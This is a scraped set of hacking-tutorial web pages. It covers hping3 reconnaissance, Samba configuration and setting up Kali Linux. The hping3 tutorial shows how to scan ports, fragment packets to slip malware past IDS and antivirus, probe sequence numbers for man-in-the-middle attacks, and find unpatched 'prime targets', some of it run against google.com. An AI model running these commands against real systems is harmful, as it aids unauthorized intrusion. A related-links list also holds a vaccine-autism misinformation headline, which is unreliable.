LicenseCover photo byJo Szczepanska/UnsplashRelatedHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Become an In-Demand IT Pro with This Cisco TrainingHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingHow To:Make Your Next Career Move with These Online CoursesHow To:Use Project Management GuidebookHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Learn Everything You Need to Become a Certified Developer & Project Management Pro for Less Than $40How To:Become a Big Data Expert with This 10-Course BundleHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Handle Project Management Resources EfficientlyHow To:Make Your New Year's Resolution to Master Azure with This BundleHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:This Best-Selling Web Development Training Is on Sale for $12How To:Here's the Ultimate Guide to Becoming a Data NinjaNews:Google's Self-Driving Car Job Postings Hint at Big Things ComingHow To:Manage Even the Most Complex Projects Easily with ScrumHow To:This Top-Rated Bundle of Self Improvement Courses Will Make You a Better Version of YourselfHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:Become a Certified Project Management Pro from Home for Less Than $50How To:Understand Math Like an Engineer for Under $30How To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Ready to Become a Top Project Manager? This 10-Course Bundle Will Teach You Scrum, Agile & PMPHow To:Become an In-Demand Project Manager with This Scrum TrainingHow To:Make Glow Powder Out of Household ChemicalsHow To:This Top-Rated Web Developer Course Will Teach You to Build Real-World WebsitesHow To:Learn Coding in Just One Hour a Day with This Top-Rated CourseHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Hack Your Business Skills with These Excel CoursesHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursNews:Master of Business Administration Online at Kaplan University–Distance LearninNews:Genius Within (2009)News:Shadows of the Dammed TrailerNews:Complete Your MBA at Kaplan University–Graduate School OnlineNews:GEORGE A. ROMERO - Interview (part 2) Discussing his career and his future plaNews:Another Great Harris Savides InterviewNews:5 Minute Avocado SorbetNews:Student group hopes to keep bikes on campusNews:Accounting and Finance Degree
Hack Like a Pro: How to Conduct Active Reconnaissance on Your Target with hping3 « Null Byte :: WonderHowTo
Welcome back, my budding hackers!One of the most time-consuming, but necessary, activities in hacking isreconnaissance. Before we can hack a system, we need to know what operating system it's running, what ports are open, what services are running, and hopefully, what applications are installed and running.Good reconnaissance increases our chance for success and reduces our chances of being detected. One of the best tools for this ishping3.Due to its versatility, hping3 is often referred as a "packet crafting tool," which means that it can create just about any type of packet you can imagine. This can be very helpful in doing recon, as different packets will illicit different responses from the operating system TCP/IP stack, giving us clues to the underlying OS, ports, and services.In addition, we can test various IDS and firewall evasion techniques such a fragmenting packets, slow scans, etc. There are so many things we can do with hping3, but I'll limit myself to just a few in this tutorial.Like nearly all of the tools I demonstrate here inNull Byte, hping3 is built intoBackTrack. So, let's fire up our BackTrack and take a look at hping3.Step 1: Finding Hping3hping3 is a powerful tool with numerous features and functions. We'll look at some of the basic functions that are applicable to hackers here, but investing a little time to learn additional features will be time well invested.Let's look at the help screen first.hping3 -hImage viawonderhowto.comAs you can see, the help screen for hping3 is very long and detailed. To better view it, let's pipe it out tomore.hping3 -h |moreImage viawonderhowto.comAfter hitting the enter key a few times to move down the screen, we come to the following information. Please note that hping3 can create TCP, RAW IP, ICMP, and UDP packets with TCP being the default. About the middle of the screen note that:-a switchenables us to spoof our IP address--rand-destproduces packets with random destination ports--rand-sourceproduces packets with random addresses-tsets the Time to live for the packets-ffragments the packetsIf we now scroll down the help page a bit, we will see the following options. Note that likenmap, we can set any of the flags in the packet (FSPURA).Image viawonderhowto.comI want you to note the following switches.-Qshows only the sequence number-Sscan using SYN packets--tcp-timestampgrabs the timestamp from the tcp packetImage viawonderhowto.comStep 2: hping3 DefaultOne of the most important features to understand about hping3 is that its default packet is TCP. This means that when a network device such a router or firewall is blocking ICMP (ping), we can still do host discovery and reconnaissance with hping3.Let's try setting the SYN flag (this would be essentially the same as nmap -sS scan) and checking whether port 80 is open (-p 80).hping3 -S 192.168.1.105 -p 80Image viawonderhowto.comNote in the screenshot above that the packets come back with the flags SA set, meaning the port is open. If the port were closed, the port would respond with an RA.If we want to scan all the ports beginning with 1, we can simply add the increment switch (++) after the port (p) switch and the port number where we want to start scanning (in this case 1), like so:hping -S 192.168.1.105 -p ++1Image viawonderhowto.comThis will scan each port starting at 1, and then increment by one to port 2, then 3, and so on.Step 3: Fragment Packets with hping3TCP was designed to be a robust protocol that would continue to communicate even in unfavorable or difficult circumstances. One feature that ensures this robustness is its ability to deal with packets that have been fragmented or broken into multiple pieces. TCP will reassemble those packets when they arrive at the target system.This feature of TCP can be used against itself by using a tool like hping3 to fragment an attack across multiple packets to evade the IDS and firewall and then have the malware reassembled at the target.Although most modern IDS's now attempt to catch fragmentation attacks (inSnort, there is a frag3 preprocessor that attempts to detect fragmentation), older ones do not. Even the newer IDS can only pick up fragmentation they are designed to detect. The beauty of hping3 is that it allows us to design new attacks that the IDS has not yet seen.Let's try the hping3 fragmentation.hping3 -f 192.168.1.105 -p 80Image viawonderhowto.comStep 4: Sending Data with hping3In addition to being able to craft a packet with just about any characteristics we can imagine, hping3 will also allow us to place whatever data we want in those packets. Note in the help screen from Step 1 that the-Eswitch enables us to denote a file we want to use to fill the payload of the packet.Let's say we have a file namedmalwarethat contains an exploit we're trying to send to the target. In addition, we are concerned that this malware might be detected by the IDS. We could use the fragmentation switch and load the malware across multiple packets where it will be reassembled by the target, while evading the IDS or AV software.hping3 -f 192.168.1.105 -p 80 -d 10 -E malwareWhere:-dis the data payload size (here, we've designated it as 10 bytes)-Etells hping3 to grab data from the following fileImage viawonderhowto.comThis command then sends the content of the file malware 10 bytes at a time to the target on port 80.Step 5: Traceroute with hping3Traceroute is a tool that allows us to trace the route a packet takes across the internet from the client to the target by manipulating the TTL (time to live) of ICMP packets.It can be a very useful tool for diagnosing problems on an network, and can also be used by hackers to find devices on the network and the location of firewalls, routers, etc. For this reason, most network admin's block or drop ICMP (ping).Fortunately for us, hping3 enables us to do exactly the same thing, but use TCP which nearly every firewall allows (otherwise, it wouldn't allow Internet traffic). Let's try to run a traceroute using hping3 with the SYN flag set togoogle.com.hping3 -z -t 1 -S google.com -p 80Where:-zconnects the command to thectrl zon the keyboard so that every time we press it, the TTL is incremented by 1-tsets the initial TTL (in this case, we're using 1)-Ssets the flag to SYN-p 80sets the destination port to 80Image viawonderhowto.comIn the screenshot above, the TTL is still 1, and hping3 tells us that the device is UNKNOWN. We can then hit thectrl zand increment the TTL by one and find each device between us and the target.Image viawonderhowto.comThis screenshot shows us two devices between myself andgoogle.com. Continuing to hitctrl zwill increment TTL and find each device until I get to Google's server.Step 6: Predicting Sequence Numbers with hping3Another feature that's built into TCP to assure its robustness is the ability to re-order packets at the target even if they arrive out of order.Remember that packets don't always take the same route to the target, so they very often will arrive out of order. TCP puts a sequence number on the packets so that it can put them back into order where they arrive.This feature has been used by hackers from the beginning of time (well....at least the beginning of Internet time) to conduct man-in-the-middle attacks (MitM). To protect against MitM attacks, operating system manufacturers tweaked their TCP/IP stack so that the sequence numbers are no longer numbered serially. Instead, to make it harder to conduct MitM attacks, the OS uses an algorithm to generate the sequence numbers.To conduct a successful MitM attack, then we'll need to predict the sequence numbers. hping3 can help us with that task. We can get the target system to respond with its sequence numbers, and then from the sequence numbers we can decipher what algorithm the OS is using. We can do this by:hping3 -Q -S google.com -p 80Where:-Qdisplays the sequence numbersImage viawonderhowto.comAs you can see,google.comresponds with its sequence numbers that hping3 captures and displays.Step 7: hping3 for UptimeLastly , we can use hping3 to tell how long the server has been up. This can be very useful information for the hacker, as usually the server must be re-booted to apply updates and patches. By knowing how long the system has been up, we can predict what patches have been applied and what hacks the system is vulnerable to.For instance, if we find a system that has not been re-booted in three years, we can be pretty certain that any security patches that have been released in that time have not been applied. This means that all the vulnerabilities that have become known in that time are still open on that system.Hping3 uses the tcp-timestamp packet to predict how long the system has been up. Let's try this againstgoogle.com.hping3 --tcp-timestamp -S google.com -p 80Image viawonderhowto.comAs we can see, thisgoogle.comweb server has been up just 8 days, 4 hours, 21 minutes, and 39 seconds. If you try this scan against other servers, you are likely to see much longer periods of time between the last reboot, sometimes measured in years. These, of course, would be prime targets!Keep coming back my aspiring hackers as we continue our exploration of the wonderful world of hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseKeyboard/pliersandkeyboard/screwdriverimages via ShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:The Hacker MethodologyHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHow To:The Five Phases of HackingHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Advanced Penetration Testing - Part 1 (Introduction)Hack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fVideo:How to Use Maltego to Research & Mine Data Like an AnalystHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Recon:How to Research a Person or Organization Using the Operative FrameworkHow To:Change Your Step Count Goal in Samsung HealthHow To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:Scripting for the Aspiring Hacker, Part 2 (Conditional Statements)Mac for Hackers:How to Organize Your Tools by Pentest StagesHow To:Change Resolution & Bit Rate in Filmic Pro for High-Quality Video Up to 4K at 100 MbpsNews:AR-Enabled Moon Model Shoots Past Crowdfunding GoalNews:Banks Around the World Hit with Repeated DDoS Attacks!Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)How To:Hunt Down Social Media Accounts by Usernames with SherlockHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:Police Admit To Drugging Occupy Wall Street Protesters; Suspend ProgramVaccine bombshell:Baby monkeys develop autism after routine CDC vaccinationsNews:Indie and Mainstream Online Games Shut Down by LulzSecNews:FBI Shuts Down One of the Biggest Hacking Forums
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 22 (Samba) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!Those of you who use Windows in a LAN environment understand that Windows machines can share directories, files, printers, etc. using "shares." This protocol dates back to the 1980s when the then dominant computer firm, IBM, developed a way for computers to communicate over the LAN by just using computer names rather than MAC or IP addresses.Eventually, Microsoft and Intel developed a similar protocol for file sharing, originally named NetBIOS, and eventually renamed Server Message Block (SMB). By 1992, Andrew Tridgell, reverse-engineered SMB forLinux/Unix (including Apple's Mac OS X) and named it Samba. It is a server-side implementation of SMB and requires no software to be installed on the client. Samba provides:File sharingNetwork printingAuthentication and authorizationName resolutionService announcement (browsing)Samba functionality is implemented by two daemons,smbdandnmbd. These daemons (services) are installed and run on nearly every distribution of Unix and Linux. Samba, like Windows NetBios/SMB, runs on ports 135, 137, and 445.Just like Window's SMB, Linux's Samba has been one of the weakest and most often exploited protocols. There is a long list of vulnerabilities and exploits that take advantage of Linux's Samba, and when I want to exploit a Linux system, one of the first things I test is Samba. Samba 3.6.3 and earlier versions allow anonymous users to gain root access throughSamba 's remote procedure call.The more we know and understand Samba, the better network admin's we will be and the betterLinux hackerswe will be. Let's take a little time to understand this essential and, often, very vulnerable protocol in Linux.Step 1: Locate SambaTo find Samba files in our Kali, let's just type:locate smbWhen you do so, you will see dozens of files with SMB or Samba in their name, including numerous Metasploit modules for exploiting Samba. Near the top of that list is the main configuration file for Samba,/etc/samba/smb.conf. Like nearly every application or daemon in Linux, there is a configuration file located in the/etcdirectory. These are simple text files that can be edited and saved to alter the configuration of the application or daemon. Samba is no different.Let's open that now with the text editor of your choice. In this case, I'll use Leafpad in Kali.kali > leafpad /etc/samba/smb.confAs you can see, this configuration file is well commented. For more information on configuring Samba, you can also type:kali > man sambaI should point out now that this configuration file uses two different types of comments. The first is the all familiar "#" , but it also the uses ";" too. You will see both in this configuration file.Step 2: Configure SambaSamba has a command that allows you to test the syntax of your configuration file. This is:kali > testparm -vWhen you type this command, it checks your parameters and syntax to see whether they are workable.It is important to note that whenever you make changes to this configuration file, you must restart Samba for them to be implemented. You can do this with:kali > service smb restartStep 3: Create a Samba UserSamba has its own password authentication system. You can create users with access to Samba, if they exist, in the/etc/passwdfile (in other words, they are a user on the system) with the command:kali > smbpasswd -a <username>As you can see, I have added myself, OTW, to the Samba user list with my password.Step 4: Setting the WorkGroupIf you want to connect to the workgroup from a Windows machine, you will need the name of the Windows workgroup. In the "Global Settings," you can see the default is set to workgroup but, of course, this should set to the name of the Windows workgroup that Samba will be connected to.Step 5: Accounting/LoggingNext, let's navigate down within the Global Settings to the "Debugging/Accounting" section.Here you can see we can set the location of the log file:log file = /var/log/samba/log.%mThe maximum log size (KB):max log size = 1000And whether to only use syslog to centralize our logging to a dedicated logging system:syslog only = noAmong many other things.Step 6: AuthenticationIf we navigate a bit lower in the Global Settings, we come to the "Authentication" section.Here we can set what type of server Samba will be:server role = standalone serverWhether Samba should obey/use pluggable authentication modules (PAM):obey pam restrictions = yesWhether Samba syncs passwords with the Linux/Unix password system:unix password sync = yesAnd finally, how Samba handles password setting.Step 7: Samba VariablesYou will notice that throughout the Samba configuration file, variables are used that begin with "%". For instance, in the logging section above, we saw this line:log file = /var/log/samba/log.%mThe "%m" at the end represents a variable. If we use the table below, we can see that the "%m" represents the "The client's NetBIOS name." If the NetBIOS name of the computer were "NullByte," this would mean that the logs would be found for that system at:log file = /var/log/samba/log.NullByteWhen we replaced the variable with the value of the NetBIOS name.Although there are far more changes we can make to this configuration file, in many cases the default setting will suffice in most circumstances, although not optimally. I'll be doing a second Samba tutorial in the near future where we will configure Samba for optimal file sharing, so keep coming back, my aspiring hackers.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)News:What to Expect from Null Byte in 2015Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Let Me Introduce MyselfCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker
Top 10 Things to Do After Installing Kali Linux « Null Byte :: WonderHowTo
Kali Linux, by default, probably doesn't have everything you need to get you through day-to-day penetration testing with ease. With a few tips, tricks, and applications, we can quickly get started using Kali like a professional white hat.Most Linux distributions are highly customizable. This makes personalizing your penetration testing distribution a bit daunting. With just a few commands, we can automate tasks, install our favorite software, create additional user accounts, properly configure anonymity software, and optimize our interactions with terminals. There are just a few things we can do to improve our interactions with the operating system.1. Install GitGitis an open-source software version control application. It can be used for collaboratively sharing and editing code but is commonly referenced here on Null Byte as the primary tool for copying (or "cloning") code repositories found on GitHub. Git is a must have tool for penetration testers looking to expand their toolset beyond what's available in the default Kali repositories.Git can be installed using the belowapt-getcommand.apt-get install git2. Configure Bash AliasesBash aliases are fantastic for creating customized command line shortcuts. For example, we can reassign thelscommand to automatically use our favorite arguments. Below is an example of a normallsoutput.ls androidbins.txt folder-pictures.png smtp.cracked text-x-generic.png bogus_gmail.creds folder.png smtp.list Windows-10 dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39 package-x-generic.png text-x-generic.ico 'Windows 10 Icons'Here it is again after creating anlsalias.ls total 220K -rw------- 1 root root 15K Aug 24 2015 folder-pictures.png -rw------- 1 root root 8.7K Aug 24 2015 folder.png -rw------- 1 root root 11K Aug 24 2015 package-x-generic.png -rw------- 1 root root 5.5K Sep 3 2015 text-x-generic.png drwxr-xr-x 12 root root 4.0K May 31 00:44 'Windows 10 Icons'/ drwxr-xr-x 18 root root 4.0K May 31 00:44 Windows-10/ -rwxr-x--- 1 root root 103K May 31 00:49 text-x-generic.ico* drwxr-xr-x 5 root root 4.0K Jun 11 21:57 dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ -rw-r--r-- 1 root root 52 Jul 5 18:13 bogus_gmail.creds -rw-r--r-- 1 root root 15K Jul 5 18:28 smtp.list -rw-r--r-- 1 root root 181 Jul 5 18:43 smtp.cracked -rw-r--r-- 1 root root 23K Jul 23 18:18 androidbins.txt drwxr-xr-x 5 root root 4.0K Jul 23 19:22 ./ drwxr-xr-x 23 root root 4.0K Aug 9 04:25 ../We're getting a much more verbose output. Thelscommand is now using the-l,-a,-t,-h, and-rarguments automatically. All of these arguments will instructlsto use the listing (-l) format, list all (-a) files — including hidden files — and print the file sizes in human-readable (-h) formats (e.g., 1K, 234M, 5G).My alias will also sort the output by modification time (-t), and reverse (-r) the order of the list so recently modified files appear at the bottom of the terminal. This collection of arguments is my personallspreference, but yours may be different.To create aliases, open the /root/.bash_aliases usingnanoor your favorite text editor. Add the following line to create an alias.Don't Miss:An Intro to Vim, the Unix Text Editor Every Hacker Should Knowalias ls='ls --color=always -rthla'We can also go a bit further and add more complex functions to the .bash_aliases file. Below is a simple example of a function designed to keep Kali fully up to date.function apt-updater { apt-get update && apt-get dist-upgrade -Vy && apt-get autoremove -y && apt-get autoclean && apt-get clean && reboot }After saving changes made to the .bash_aliases file, open a new terminal for the changes to take effect. Running the newly createdapt-updaterfunction will invoke a series ofapt-getcommands that will automatically update and maintain your system. The ampersands (&&) ensure that the function doesn't continue to the following command if a prior command fails.apt-updaterFor more on Bash aliases, check out Kody's "Set Up a MacOS System for Wi-Fi Packet Capturing" article.3. Create a New Low Privileged UserMany applications like the Chromium Browser and the Tor Browser should never be opened or used as a root user. Such applications rely heavily upon low-level permissions to deliver some degree of security. It might be beneficial to some users to create a low privileged user account for such activities.This concept is covered in greater detail in Takhion's "Lock Down Kali Linux for Safe Desktop Use" article, so make sure to check that out for help.More Info:How to Lock Down Kali Linux for Safe Desktop Use4. Install a Terminal MultiplexerA multiplexer is a tiling terminal emulator that allows us to open several terminal sessions inside one single window. The major benefit to this is being able to see all of our open terminal sessions at once and not layer the windows on top of each other. Below is a multiplexer example.There are many noteworthy multiplexers.Tilix, as seen in the above screenshot, is an open-source and reliable option. Alternatives includetmuxandscreen.Tilix is available in Kali's APT repositories and can be installed using the below command.apt-get install tilix Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: libgtkd-3-0 libphobos2-ldc-shared78 libvted-3-0 tilix-common Suggested packages: python-nautilus The following NEW packages will be installed: libgtkd-3-0 libphobos2-ldc-shared78 libvted-3-0 tilix tilix-common 0 upgraded, 5 newly installed, 0 to remove and 466 not upgraded. Need to get 10.7 MB of archives. After this operation, 49.1 MB of additional disk space will be used. Do you want to continue? [Y/n] yRecommended on Amazon:"The Linux Command Line: A Complete Introduction" by William E. Shotts Jr.5. Install Your Favorite Hacking ToolsSome versions of Kali are geared toward minimalist pentester's who prefer not to have hundreds of hacking tools preinstalled. This means we'll have to install our favorite tools manually. The types of tools we use vary based on our skill set and areas of expertise, but below are some popular hackings tools.Aircrack-ng: WirelessWEP/WPA cracking utilities.BeEF: Browserexploitation frameworkvia web applications.Burp Suite: Graphical application designed forweb application security.Hydra: Loginpassword brute-forcingutility.Nikto: Webserver security scanner.Maltego: Open-sourceforensics and intelligence gathering.Nmap: Port scanner andnetwork mapper.Wireshark: Graphical application fornetwork traffic analysis.These tools can be installed using the below command.apt-get install maltego metasploit-framework burpsuite wireshark aircrack-ng hydra nmap beef-xss nikto Reading package lists... Done Building dependency tree Reading state information... Done hydra is already the newest version (8.6-1kali1). The following NEW packages will be installed: beef-xss binfmt-support burpsuite fastjar fonts-droid-fallback fonts-lato fonts-noto-mono ghostscript gsfonts imagemagick imagemagick-6-common imagemagick-6.q16 jarwrapper java-wrappers javascript-common libc-ares2 libcupsfilters1 libcupsimage2 libdjvulibre-text libdjvulibre21 libdouble-conversion1 libfftw3-double3 libgmp-dev libgmpxx4ldbl libgs9 libgs9-common libhttp-parser2.8 libijs-0.35 libilmbase23 libjbig2dec0 libjs-jquery libjs-jquery-easing libjs-jquery-fancybox libjs-jquery-mousewheel libjs-jquery-ui libjs-source-map libjs-uglify libjxr-tools libjxr0 liblqr-1-0 liblua5.2-0 libmagickcore-6.q16-6 libmagickcore-6.q16-6-extra libmagickwand-6.q16-6 libnetpbm10 libnl-route-3-200 libopenexr23 libpaper-utils libpaper1 libpcre2-16-0 libqt5core5a libqt5dbus5 libqt5gui5 libqt5multimedia5 libqt5multimedia5-plugins libqt5multimediagsttools5 libqt5multimediawidgets5 libqt5network5 libqt5opengl5 libqt5printsupport5 libqt5svg5 libqt5widgets5 libruby2.5 libsbc1 libsmi2ldbl libspandsp2 libssh-gcrypt-4 libuv1 libwhisker2-perl libwireshark-data libwireshark11 libwiretap8 libwmf0.2-7 libwscodecs2 libwsutil9 libxcb-icccm4 libxcb-image0 libxcb-keysyms1 libxcb-randr0 libxcb-render-util0 libxcb-xinerama0 libxcb-xkb1 libxkbcommon-x11-0 libyaml-0-2 maltego netpbm nikto nodejs nodejs-doc openjdk-8-jre openjdk-8-jre-headless qt5-gtk-platformtheme qttranslations5-l10n rake ruby ruby-addressable ruby-ansi ruby-atomic ruby-buftok ruby-celluloid ruby-celluloid-io ruby-daemons ruby-dataobjects ruby-dataobjects-mysql ruby-dataobjects-postgres ruby-dataobjects-sqlite3 ruby-dev ruby-did-you-mean ruby-diff-lcs ruby-dm-core ruby-dm-do-adapter ruby-dm-migrations ruby-dm-serializer ruby-dm-sqlite-adapter ruby-docile ruby-domain-name ruby-em-websocket ruby-equalizer ruby-erubis ruby-eventmachine ruby-execjs ruby-faraday ruby-geoip ruby-hitimes ruby-http ruby-http-cookie ruby-http-form-data ruby-http-parser.rb ruby-json ruby-librex ruby-libv8 ruby-memoizable ruby-mime-types ruby-mime-types-data ruby-minitest ruby-mojo-magick ruby-msfrpc-client ruby-msgpack ruby-multi-json ruby-multipart-post ruby-naught ruby-net-telnet ruby-nio4r ruby-oj ruby-parseconfig ruby-power-assert ruby-public-suffix ruby-qr4r ruby-rack ruby-rack-protection ruby-ref ruby-rqrcode ruby-rspec-expectations ruby-rspec-support ruby-rubydns ruby-simple-oauth ruby-simplecov ruby-simplecov-html ruby-sinatra ruby-sqlite3 ruby-term-ansicolor ruby-test-unit ruby-therubyracer ruby-thread-safe ruby-tilt ruby-timers ruby-tins ruby-twitter ruby-uglifier ruby-unf ruby-unf-ext ruby-xmlrpc ruby-zip ruby2.5 ruby2.5-dev ruby2.5-doc rubygems-integration thin wireshark wireshark-common wireshark-qt zip The following packages will be upgraded: aircrack-ng libcups2 libnl-3-200 libnl-genl-3-200 libxkbcommon0 metasploit-framework nmap nmap-common 8 upgraded, 182 newly installed, 0 to remove and 458 not upgraded. Need to get 381 MB of archives. After this operation, 616 MB of additional disk space will be used. Do you want to continue? [Y/n] y6. Install the Latest Version of TorToris available in Kali's repositories, but anonymity software should be acquired directly from the source (torproject.org). Furthermore, Kali's version of Tor is not reliably maintained or updated. This means we could be missing critical stability and security updates.Add the Tor Project repositories to your APT repository list.echo 'deb https://deb.torproject.org/torproject.org stretch main deb-src https://deb.torproject.org/torproject.org stretch main' > /etc/apt/sources.list.d/tor.listThen, download theTor Project package signing keyand import it into your APT keyring.wget -O- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | sudo apt-key add - --2019-02-18 19:28:23-- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc Resolving deb.torproject.org (deb.torproject.org)... 138.201.14.197 Connecting to deb.torproject.org (deb.torproject.org)|138.201.14.197|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 19665 (19K) [text/plain] Saving to: ‘STDOUT’ - 100%[=================================================================================================>] 19.20K 47.5KB/s in 0.4s 2019-02-18 19:28:25 (47.5 KB/s) - written to stdout [19665/19665] OKYou'll see the "OK" output when the signing key has been added to your keyring. Next, update APT using the below apt-get command.apt-get update Hit:1 http://downloads.metasploit.com/data/releases/metasploit-framework/apt lucid InRelease Get:2 https://deb.torproject.org/torproject.org stretch InRelease [4,965 B] Get:4 https://deb.torproject.org/torproject.org stretch/main Sources [1,169 B] Get:5 https://deb.torproject.org/torproject.org stretch/main amd64 Packages [2,400 B] Hit:3 http://archive-3.kali.org/kali kali-rolling InRelease Fetched 8,534 B in 8s (1,091 B/s) Reading package lists... DoneInstall Tor using the below command, and you're done.apt-get install tor deb.torproject.org-keyring Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: mixmaster torbrowser-launcher socat tor-arm apparmor-utils obfs4proxy The following NEW packages will be installed: deb.torproject.org-keyring The following packages will be upgraded: tor7. Configure File Sharing with SyncthingSyncthing, created byJakob Borg, is across-platform, private, lightweight file-syncing (Dropbox) alternative. As a penetration tester, transferring keystroke logs, screenshots, webcam recordings, andsensitive loot filesbetweenvirtual private serversand local Kali machines can be a frustrating task. Syncthing makes secure file-sharing totally painless.I've covered theSyncthing installation and configurationin a previous article. Readers should reference that for a detailed step-by-step guide.More Info:How to Securely Sync Files Between Two Machines Using Syncthing8. Install a Code EditorAtomis a free, open-source, feature-rich, and highly customizable text editor. Its features include the ability to collaboratively share code in real time, intuitive coding autocompletion, and the ability toinstall packageswhich further enhance Atom's versatility. Other noteworthy text editors includeGeanyandGedit.To install Atom, head over to their website and download the latestDebian installer. Next, open a terminal and install the required dependencies using the below apt-get command.apt-get install gvfs gvfs-common gvfs-daemons gvfs-libs gconf-service gconf2 gconf2-common gvfs-bin psmisc Reading package lists... Done Building dependency tree Reading state information... Done Correcting dependencies... Done The following NEW packages will be installed: gconf-service (3.2.6-4.1) gconf2 (3.2.6-4.1) gconf2-common (3.2.6-4.1) gvfs-bin (1.36.2-1) libgconf-2-4 (3.2.6-4.1) psmisc (23.1-1+b1) The following packages will be upgraded: gvfs (1.36.1-1 => 1.36.2-1) gvfs-common (1.36.1-1 => 1.36.2-1) gvfs-daemons (1.36.1-1 => 1.36.2-1) gvfs-libs (1.36.1-1 => 1.36.2-1) 4 upgraded, 6 newly installed, 0 to remove and 462 not upgraded. 1 not fully installed or removed. Need to get 3,317 kB of archives. After this operation, 8,909 kB of additional disk space will be used. Do you want to continue? 